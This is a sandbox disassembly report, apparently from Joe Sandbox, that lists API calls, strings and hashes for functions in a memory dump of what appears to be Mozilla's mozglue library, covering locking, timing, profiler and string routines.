Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction ID: 567a1dc570bbfc197a3946fdaf41bee6a98aee442101251e5a91a029302da7d6
Opcode Fuzzy Hash: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction Fuzzy Hash: CA71AC716043049FCB00CF6AC888B9ABBF5FF89354F14856EED4A8B315DB30A945CB99

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C651E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651EC1
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651EE1
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C651F38
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C651F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C651F83
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FC0
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651FE2
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C652019

Strings

Dml, xrefs: 6C651F56
Dml, xrefs: 6C651F32
\ml, xrefs: 6C651F3E
MOZ_CRASH(), xrefs: 6C652000

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dml$Dml$MOZ_CRASH()$\ml
API String ID: 2055633661-3041328916
Opcode ID: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction ID: c0a39974589e38f45cd12d2b49d7f4a33d4792012388625821c90f73072d1d84
Opcode Fuzzy Hash: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction Fuzzy Hash: C241E271B013168BDF409F69C8C8BAAB7B5EF8A348F110129E91597744DB71A804CBDD

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

data, xrefs: 6C6990E8
timeline-ipc, xrefs: 6C699096
name, xrefs: 6C698F16
timeline-fileio, xrefs: 6C6990A4
timeline-overview, xrefs: 6C69907A
stack-chart, xrefs: 6C6990B2
marker-chart, xrefs: 6C69905E
timeline-memory, xrefs: 6C699088
marker-table, xrefs: 6C69906C

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C67C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C67C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C67C891

Strings

inf, xrefs: 6C67C78F
INF, xrefs: 6C67C794
NAN, xrefs: 6C67C7AD
nan, xrefs: 6C67C7A8

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction ID: cc99c5c77600d26ef2be13eca573c25623f929f90bd9dbf0f00d6d2fa080d3d4
Opcode Fuzzy Hash: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction Fuzzy Hash: 95519170A087449BD710EF2CC58169AFBF0BF8A308F008E2DE9D5A7651E771D9858B5B

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

kernel32.dll, xrefs: 6C6534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C653508

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

MapViewOfFileNuma2, xrefs: 6C6697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
NtMapViewOfSection, xrefs: 6C669701
ntdll.dll, xrefs: 6C6696E3

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C6A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C6A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A0041
GetCurrentThreadId.KERNEL32 ref: 6C6A0075
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C6A0090
free.MOZGLUE(?), ref: 6C6A0104
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C6A005B

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction ID: 7e6e514935adee0641d6f1f8b256edd75366cfb438b1d6f785e6d5037f67f481
Opcode Fuzzy Hash: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction Fuzzy Hash: 17417E755006459FCB10CF66C880A9ABBF1FF8A318F44491DE95A83B51D731BC16CBAE

Function 6C667E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C667EA7
malloc.MOZGLUE(00000001), ref: 6C667EB3

Part of subcall function 6C66CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C66CB49
Part of subcall function 6C66CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C66CBB6

